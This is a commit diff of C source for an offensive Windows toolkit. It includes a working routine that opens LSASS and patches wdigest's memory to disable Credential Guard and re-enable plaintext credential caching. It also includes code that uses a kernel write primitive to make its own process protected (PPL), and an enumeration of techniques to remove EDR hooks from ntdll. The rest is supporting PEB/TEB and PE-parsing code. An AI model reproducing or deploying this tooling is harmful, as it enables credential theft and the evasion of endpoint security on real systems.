PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize);
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
+88
View File
@@ -0,0 +1,88 @@
/*
--- Functions to set the current process as a Protected Process (PsProtectedSignerWinTcb-Light).
--- The code to locate the EPROCESS structure is adapted from:
http://blog.rewolf.pl/blog/?p=1683
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include <stdio.h>
#include "Globals.h"
#include "KernelMemoryPrimitives.h"
#include "NtoskrnlOffsets.h"
//extern union NtoskrnlOffsets ntoskrnlOffsets;
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define PROTECTED_PROCESS_MASK 0x00000800
/*
* Defines the NtQuerySystemInformation function.
* Undocumented function with a signature subject to possible change in futher Windows versions.
*/
#define SystemHandleInformation 0x10
#define SystemHandleInformationBaseSize 0x1000
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
/*
* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle_table_entry.htm
*/
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
/*
* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle.htm
*/
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
/*
* Defines the structures related to the process protection (EPROCESS's Protection attribute).
* Source: https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess
*/
typedef enum _PS_PROTECTED_TYPE {
PsProtectedTypeNone = 0,
PsProtectedTypeProtectedLight = 1,
PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, * PPS_PROTECTED_TYPE;
typedef enum _PS_PROTECTED_SIGNER {
PsProtectedSignerNone = 0,
PsProtectedSignerAuthenticode,
PsProtectedSignerCodeGen,
PsProtectedSignerAntimalware,
PsProtectedSignerLsa,
PsProtectedSignerWindows,
PsProtectedSignerWinTcb,
PsProtectedSignerWinSystem,
PsProtectedSignerApp,
PsProtectedSignerMax
} PS_PROTECTED_SIGNER, * PPS_PROTECTED_SIGNER;
DWORD64 GetSelfEPROCESSAddress(BOOL verbose);
int SetCurrentProcessAsProtected(BOOL verbose);
File diff suppressed because it is too large Load Diff
+244
View File
@@ -0,0 +1,244 @@
#pragma once
#include "Undoc.h"
//
// [TEB/PEB UNDER 64-BIT WINDOWS]
// This file represents the 64-bit PEB and associated data structures for 64-bit Windows
// This PEB is allegedly valid between XP thru [at least] Windows 8
//
// [REFERENCES]
// http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html
// http://terminus.rewolf.pl/terminus/structures/ntdll/_TEB64_x86.html
// https://github.com/giampaolo/psutil/commit/babd2b73538fcb6f3931f0ab6d9c100df6f37bcb (RTL_USER_PROCESS_PARAMETERS)
// https://redplait.blogspot.com/2011/09/w8-64bit-teb-peb.html (TEB)
//
// [CHANGELIST]
// 2018-05-02: -now can be compiled alongside windows.h (without changes) or by defining WANT_ALL_WINDOWS_H_DEFINITIONS so this file can be used standalone
// -this file may also be included alongside tebpeb32.h which can be found at http://bytepointer.com/resources/tebpeb32.h
// -64-bit types no longer clash with the 32-bit ones; e.g. UNICODE_STRING64, RTL_USER_PROCESS_PARAMETERS64, PEB64 (same result whether 32 or 64-bit compiler is used)
// -added more QWORD aliases (i.e. HANDLE64 and PTR64) so underlying types are clearer, however most PEB members remain generic QWORD placeholders for now
// -fixed missing semicolon bug in UNICODE_STRING64
// -added prliminary RTL_USER_PROCESS_PARAMETERS64 and TEB64 with offsets
// -included byte offsets for PEB64
//
// 2017-08-25: initial public release
//
//
// base types
//
//always declare 64-bit types
#ifdef _MSC_VER
//Visual C++
typedef unsigned __int64 QWORD;
typedef __int64 INT64;
#else
//GCC
typedef unsigned long long QWORD;
typedef long long INT64;
#endif
typedef QWORD PTR64;
#ifndef __HANDLE64_DEFINED__
typedef QWORD HANDLE64;
#endif
#include <windows.h>
//UNCOMMENT line below if you are not including windows.h
//#define WANT_ALL_WINDOWS_H_DEFINITIONS
#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS
//base types
typedef unsigned char BYTE;
typedef char CHAR;
typedef unsigned short WORD;
typedef short INT16;
typedef unsigned long DWORD;
typedef long INT32;
typedef unsigned __int64 QWORD;
typedef __int64 INT64;
typedef void* HANDLE;
typedef unsigned short WCHAR;
//base structures
union LARGE_INTEGER
{
struct
{
DWORD LowPart;
INT32 HighPart;
} u;
INT64 QuadPart;
};
union ULARGE_INTEGER
{
struct
{
DWORD LowPart;
DWORD HighPart;
} u;
QWORD QuadPart;
};
#endif //#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS
typedef struct UNICODE_STRING64
{
union
{
struct
{
WORD Length;
WORD MaximumLength;
} u;
QWORD dummyalign;
} uOrDummyAlign;
QWORD Buffer;
} UNICODE_STRING64;
typedef struct _CLIENT_ID64
{
QWORD ProcessId;
QWORD ThreadId;
} CLIENT_ID64;
//NOTE: the members of this structure are not yet complete
typedef struct _RTL_USER_PROCESS_PARAMETERS64
{
BYTE Reserved1[16]; //0x00
QWORD Reserved2[5]; //0x10
UNICODE_STRING64 CurrentDirectoryPath; //0x38
HANDLE64 CurrentDirectoryHandle; //0x48
UNICODE_STRING64 DllPath; //0x50
UNICODE_STRING64 ImagePathName; //0x60
UNICODE_STRING64 CommandLine; //0x70
PTR64 Environment; //0x80
} RTL_USER_PROCESS_PARAMETERS64;
//
// PEB64 structure - TODO: comb more through http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html and add OS delineations and Windows 10 updates
//
// The structure represented here is a work-in-progress as only members thru offset 0x320 are listed; the actual sizes per OS are:
// 0x0358 XP/WS03
// 0x0368 Vista
// 0x037C Windows 7
// 0x0388 Windows 8
// 0x07A0 Windows 10
//
typedef struct PEB64
{
union
{
struct
{
BYTE InheritedAddressSpace; //0x000
BYTE ReadImageFileExecOptions; //0x001
BYTE BeingDebugged; //0x002
BYTE _SYSTEM_DEPENDENT_01; //0x003
} flags;
QWORD dummyalign;
} dword0;
QWORD Mutant; //0x0008
QWORD ImageBaseAddress; //0x0010
PEB_LDR_DATA* Ldr; //0x0018
PTR64 ProcessParameters; //0x0020 / pointer to RTL_USER_PROCESS_PARAMETERS64
QWORD SubSystemData; //0x0028
QWORD ProcessHeap; //0x0030
QWORD FastPebLock; //0x0038
QWORD _SYSTEM_DEPENDENT_02; //0x0040
QWORD _SYSTEM_DEPENDENT_03; //0x0048
QWORD _SYSTEM_DEPENDENT_04; //0x0050
union
{
QWORD KernelCallbackTable; //0x0058
QWORD UserSharedInfoPtr; //0x0058
}KernelCallbackTableOrUserSharedInfoPtr;
DWORD SystemReserved; //0x0060
DWORD _SYSTEM_DEPENDENT_05; //0x0064
QWORD _SYSTEM_DEPENDENT_06; //0x0068
QWORD TlsExpansionCounter; //0x0070
QWORD TlsBitmap; //0x0078
DWORD TlsBitmapBits[2]; //0x0080
QWORD ReadOnlySharedMemoryBase; //0x0088
QWORD _SYSTEM_DEPENDENT_07; //0x0090
QWORD ReadOnlyStaticServerData; //0x0098
QWORD AnsiCodePageData; //0x00A0
QWORD OemCodePageData; //0x00A8
QWORD UnicodeCaseTableData; //0x00B0
DWORD NumberOfProcessors; //0x00B8
union
{
DWORD NtGlobalFlag; //0x00BC
DWORD dummy02; //0x00BC
}NtGlobalFlagOrdummy02;
LARGE_INTEGER CriticalSectionTimeout; //0x00C0
QWORD HeapSegmentReserve; //0x00C8
QWORD HeapSegmentCommit; //0x00D0
QWORD HeapDeCommitTotalFreeThreshold; //0x00D8
QWORD HeapDeCommitFreeBlockThreshold; //0x00E0
DWORD NumberOfHeaps; //0x00E8
DWORD MaximumNumberOfHeaps; //0x00EC
QWORD ProcessHeaps; //0x00F0
QWORD GdiSharedHandleTable; //0x00F8
QWORD ProcessStarterHelper; //0x0100
QWORD GdiDCAttributeList; //0x0108
QWORD LoaderLock; //0x0110
DWORD OSMajorVersion; //0x0118
DWORD OSMinorVersion; //0x011C
WORD OSBuildNumber; //0x0120
WORD OSCSDVersion; //0x0122
DWORD OSPlatformId; //0x0124
DWORD ImageSubsystem; //0x0128
DWORD ImageSubsystemMajorVersion; //0x012C
QWORD ImageSubsystemMinorVersion; //0x0130
union
{
QWORD ImageProcessAffinityMask; //0x0138
QWORD ActiveProcessAffinityMask; //0x0138
}ImageProcessAffinityMaskOrActiveProcessAffinityMask;
QWORD GdiHandleBuffer[30]; //0x0140
QWORD PostProcessInitRoutine; //0x0230
QWORD TlsExpansionBitmap; //0x0238
DWORD TlsExpansionBitmapBits[32]; //0x0240
QWORD SessionId; //0x02C0
ULARGE_INTEGER AppCompatFlags; //0x02C8
ULARGE_INTEGER AppCompatFlagsUser; //0x02D0
QWORD pShimData; //0x02D8
QWORD AppCompatInfo; //0x02E0
UNICODE_STRING64 CSDVersion; //0x02E8
QWORD ActivationContextData; //0x02F8
QWORD ProcessAssemblyStorageMap; //0x0300
QWORD SystemDefaultActivationContextData; //0x0308
QWORD SystemAssemblyStorageMap; //0x0310
QWORD MinimumStackCommit; //0x0318
} PEB64; //struct PEB64
//
// TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8
//
typedef struct TEB64
{
BYTE NtTib[56]; //0x0000 / NT_TIB64 structure
PTR64 EnvironmentPointer; //0x0038
CLIENT_ID64 ClientId; //0x0040
PTR64 ActiveRpcHandle; //0x0050
PTR64 ThreadLocalStoragePointer; //0x0058
PTR64 ProcessEnvironmentBlock; //0x0060 / ptr to PEB64
DWORD LastErrorValue; //0x0068
DWORD CountOfOwnedCriticalSections; //0x006C
PTR64 CsrClientThread; //0x0070
PTR64 Win32ThreadInfo; //0x0078
DWORD User32Reserved[26]; //0x0080
DWORD UserReserved[6]; //0x00E8
PTR64 WOW32Reserved; //0x0100
DWORD CurrentLocale; //0x0108
DWORD FpSoftwareStatusRegister; //0x010C
PTR64 SystemReserved1[54]; //0x0110
DWORD ExceptionCode; //0x02C0
PTR64 ActivationContextStackPointer; //0x02C8
} TEB64; //struct TEB64
+64
View File
@@ -0,0 +1,64 @@
#pragma once
#include <Windows.h>
#include "Undoc.h"
#include "PEParser.h"
#include "PEBBrowse.h"
#include <stdio.h>
#include <TlHelp32.h>
#include <DbgHelp.h>
#include <pathcch.h>
typedef struct diff_t {
PVOID disk_ptr;
PVOID mem_ptr;
size_t size;
} diff;
typedef struct hook_t {
PVOID disk_function;
PVOID mem_function;
LPCSTR functionName;
diff* list_patches;
} hook;
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) (
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection);
typedef NTSTATUS(NTAPI* pRtlGetVersion)(
OUT LPOSVERSIONINFOEXW lpVersionInformation);
enum unhook_method_e {
UNHOOK_NONE,
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
UNHOOK_WITH_DIRECT_SYSCALL
};
hook* searchHooks(const char* csvFileName);
PVOID hookResolver(PBYTE hookAddr);
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method);
VOID unhook(hook* hook, DWORD unhook_method);
/*
* Cache for NTDLL PE (accessed often)
*/
PE* ntdllDiskPe_g;
PE* ntdllMemPe_g;
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk);
+38
View File
@@ -0,0 +1,38 @@
/*
--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include "Globals.h"
#include "FileVersion.h"
enum WdigestOffsetType {
g_fParameter_UseLogonCredential = 0,
g_IsCredGuardEnabled = 1
};
union WdigestOffsets {
// structure version of wdigest.dll's offsets
struct {
// wdigest.dll's g_fParameter_UseLogonCredential
DWORD64 g_fParameter_UseLogonCredential;
// wdigest.dll's g_IsCredGuardEnabled
DWORD64 g_IsCredGuardEnabled;
} st;
// array version (usefull for code factoring)
DWORD64 ar[2];
};
union WdigestOffsets wdigestOffsets;
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename);
@@ -0,0 +1,170 @@
#include "CredGuard.h"
DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
HANDLE hProcessSnap;
HANDLE hLsass;
PROCESSENTRY32 pe32;
// Set the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
pe32.th32ProcessID = 0;
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
return 1;
}
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle\n")); // show cause of failure
CloseHandle(hProcessSnap); // clean the snapshot object
return 1;
}
// Now walk the snapshot of processes, and look for "lsass.exe"
do {
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) == 0) {
break;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) != 0 || pe32.th32ProcessID == 0) {
_tprintf(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process\n"));
return 1;
}
// Open an handle to the LSASS process.
hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
if (hLsass == NULL || hLsass == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError());
return 1;
}
HMODULE hModulesArray[512] = { 0 };
DWORD lpcbNeeded;
if (!EnumProcessModules(hLsass, hModulesArray, sizeof(hModulesArray), &lpcbNeeded)) {
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError());
CloseHandle(hLsass);
return 1;
}
BOOL returnStatus = FALSE;
TCHAR szModulename[MAX_PATH];
for (DWORD i = 0; i < (lpcbNeeded / sizeof(HMODULE)); i++) {
if (hModulesArray[i] && !GetModuleFileNameEx(hLsass, hModulesArray[i], szModulename, sizeof(szModulename))) {
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError());
continue;
}
if (_tcsstr(szModulename, TEXT("wdigest"))) {
MODULEINFO moduleInfo = { 0 };
if (hModulesArray[i] && !GetModuleInformation(hLsass, hModulesArray[i], &moduleInfo, sizeof(MODULEINFO))) {
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError());
continue;
}
// Computes the exact address in memory of g_fParameter_UseLogonCredential & g_IsCredGuardEnabled using load lib wdigest base address + known offsets.
DWORD64 wdigestBaseAddress = (DWORD64)moduleInfo.lpBaseOfDll;
DWORD currentValue = 0x0;
DWORD CurrentValueLength = sizeof(DWORD);
SIZE_T bytesRead = 0;
SIZE_T bytesWritten = 0;
/*
* Setting g_fParameter_UseLogonCredential to 0x1.
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
*/
DWORD64 useLogonCredentialAddress = wdigestBaseAddress + wdigestOffsets.st.g_fParameter_UseLogonCredential;
DWORD useLogonCredentialPatch = 0x1;
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress);
//if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead))
if (ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, &currentValue, CurrentValueLength, &bytesRead)) {
_tprintf(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
break;
}
if (currentValue != useLogonCredentialPatch) {
if (WriteProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, (PVOID)&useLogonCredentialPatch, sizeof(DWORD), &bytesWritten)) {
ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, &currentValue, CurrentValueLength, &bytesRead);
if (currentValue == useLogonCredentialPatch) {
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch);
}
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
break;
}
}
else {
_tprintf(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!\n"));
}
_tprintf(TEXT("\n\n"));
/*
* Setting g_IsCredGuardEnabled to 0x0.
* Needs to temporary set the memory page of g_IsCredGuardEnabled to PAGE_READWRITE to conduct the patch.
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
*/
DWORD64 credGuardEnabledAddress = wdigestBaseAddress + wdigestOffsets.st.g_IsCredGuardEnabled;
DWORD isCredGuardEnabledPatch = 0x0;
currentValue = 0x0;
bytesRead = 0;
bytesWritten = 0;
DWORD oldMemoryProtection = 0x0;
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), credGuardEnabledAddress);
_tprintf(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE\n"));
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), PAGE_READWRITE, &oldMemoryProtection)) {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
break;
}
if (ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, &currentValue, CurrentValueLength, &bytesRead)) {
_tprintf(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
break;
}
if (currentValue != isCredGuardEnabledPatch) {
if (WriteProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, (PVOID)&isCredGuardEnabledPatch, sizeof(DWORD), &bytesWritten)) {
ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, &currentValue, CurrentValueLength, &bytesRead);
if (currentValue == isCredGuardEnabledPatch) {
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue);
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch);
}
}
else {
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
break;
}
}
else {
_tprintf(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!\n"));
}
DWORD newMemoryProtection = 0x0;
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), oldMemoryProtection, &newMemoryProtection)) {
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
}
else {
_tprintf(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value\n"));
}
_tprintf(TEXT("\n\n"));
returnStatus = TRUE;
}
}
CloseHandle(hLsass);
return returnStatus;
}
@@ -0,0 +1,106 @@
/*
--- Functions to set the current process as a Protected Process (PsProtectedSignerWinTcb-Light).
--- The code to locate the EPROCESS structure is adapted from:
http://blog.rewolf.pl/blog/?p=1683
*/
#include "RunAsPPL.h"
DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
NTSTATUS status;
DWORD currentProcessID = GetCurrentProcessId();
// Open an handle to our own process.
HANDLE selfProcessHandle = OpenProcess(SYNCHRONIZE, FALSE, currentProcessID);
if (verbose) {
_tprintf(TEXT("[*] Self process handle: 0x%hx\n"), (USHORT)selfProcessHandle);
}
// Retrieves the native NtQuerySystemInformation function from ntdll.
HMODULE hNtdll = GetModuleHandle(TEXT("ntdll"));
if (!hNtdll) {
_tprintf(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process\n"));
return 0x0;
}
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
_tprintf(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process\n"));
return 0x0;
}
/*
* Retrieves all the handle table using NtQuerySystemInformation.
* Looping until NtQuerySystemInformation has sufficient space to do so (i.e does not return a STATUS_INFO_LENGTH_MISMATCH).
* Possible alternative to explore woule be to use the ReturnLength returned by NtQuerySystemInformation.
*/
ULONG SystemHandleInformationSize = SystemHandleInformationBaseSize;
PSYSTEM_HANDLE_INFORMATION tmpHandleTableInformation = NULL;
PSYSTEM_HANDLE_INFORMATION pHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize);
if (!pHandleTableInformation) {
_tprintf(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process\n"));
return 0x0;
}
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
while (status == STATUS_INFO_LENGTH_MISMATCH) {
SystemHandleInformationSize = SystemHandleInformationSize * 2;
tmpHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleTableInformation, SystemHandleInformationSize);
if (!tmpHandleTableInformation) {
_tprintf(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process\n"));
return 0x0;
}
pHandleTableInformation = tmpHandleTableInformation;
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
}
if (!NT_SUCCESS(status)) {
_tprintf(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process\n"));
return 0x0;
}
// Iterates through all the handles.
DWORD64 returnAddress = 0x0;
for (DWORD i = 0; i < pHandleTableInformation->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = pHandleTableInformation->Handles[i];
// Only retrieves the handles associated with our own process.
if (handleInfo.UniqueProcessId != currentProcessID) {
continue;
}
if (verbose) {
_tprintf(TEXT("[*] Handle for the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
}
if (handleInfo.HandleValue == (USHORT)selfProcessHandle) {
_tprintf(TEXT("[+] Found the handle of the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
returnAddress = (DWORD64)handleInfo.Object;
}
}
free(pHandleTableInformation);
CloseHandle(selfProcessHandle);
return returnAddress;
}
int SetCurrentProcessAsProtected(BOOL verbose) {
HANDLE Device = GetDriverHandle();
DWORD64 processEPROCESSAddress = GetSelfEPROCESSAddress(verbose);
if (processEPROCESSAddress == 0x0) {
_tprintf(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect\n"));
CloseHandle(Device);
return -1;
}
_tprintf(TEXT("[+] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress);
// Sets the current process EPROCESS's ProtectionLevel as Light WinTcb (PS_PROTECTED_WINTCB_LIGHT, currently 0x61).
DWORD64 processSignatureLevelAddress = processEPROCESSAddress + ntoskrnlOffsets.st.ps_protection;
// DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.ps_protection;
UCHAR flagPPLWinTcb = ((UCHAR)((PsProtectedSignerWinTcb) << 4)) | ((UCHAR)(PsProtectedTypeProtectedLight));
_tprintf(TEXT("[*] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb);
WriteMemoryWORD(Device, processSignatureLevelAddress, flagPPLWinTcb);
CloseHandle(Device);
return 0;
}
+80
View File
@@ -0,0 +1,80 @@
#include "Undoc.h"
#include "PEBBrowse.h"
#include <stdio.h>
/*
Get the module entry in the InLoadOrderModuleList given the module name
*/
LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name) {
size_t nameSize = wcslen(name);
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
if (!_memicmp(currentModuleEntry->BaseDllName.Buffer, name, sizeof(WCHAR) * nameSize)) {
return currentModuleEntry;
}
}
#ifdef _DEBUG
printf("getModuleEntryFromNameW failed to find module\n");
#endif // _DEBUG
return NULL;
}
/*
Get the module entry in the InLoadOrderModuleList given an address inside it
Assumes : the address belong to a module
Returns : the module it should belong to
*/
LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr) {
LDR_DATA_TABLE_ENTRY* closest = NULL;
uintptr_t distance = (uintptr_t)-1;
for (LDR_DATA_TABLE_ENTRY* ptr = getNextModuleEntryInLoadOrder(NULL); ptr != NULL; ptr = getNextModuleEntryInLoadOrder(ptr)) {
if (ptr->DllBase <= addr && ((uintptr_t)addr - (uintptr_t)ptr->DllBase) < distance) {
distance = ((uintptr_t)addr - (uintptr_t)ptr->DllBase);
closest = ptr;
}
}
return closest;
}
/*
Returns the next module entry in the InLoadOrderModuleList
Assumes : curr is a ptr to a module entry in the list or NULL
Returns :
* if curr is non-NULL:
* A pointer to the next entry in the list, or
* A NULL pointer, if end of the list is reached
* if curr is NULL
* A pointer to the first element of the list
*/
LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr) {
LDR_DATA_TABLE_ENTRY* start = (LDR_DATA_TABLE_ENTRY*)getPEB()->Ldr->InLoadOrderModuleList.Flink;
if (curr == NULL) {
return start;
}
LDR_DATA_TABLE_ENTRY* next = (LDR_DATA_TABLE_ENTRY*)curr->InLoadOrderLinks.Flink;
if (next == start) {
return NULL;
}
return next;
}
#if _WIN64
PEB64* getPEB() {
return (PEB64*)__readgsqword(0x60);
}
TEB64* getTEB() {
return (TEB64*)__readgsqword(0x30);
}
#else
PEB* getPEB() {
return (PEB*)__readfsdword(0x30);
}
TEB* getTEB() {
return (TEB*)__readfsdword(0x18);
}
#endif
+363
View File
@@ -0,0 +1,363 @@
#include "PEParser.h"
#include <stdio.h>
#include <assert.h>
IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva) {
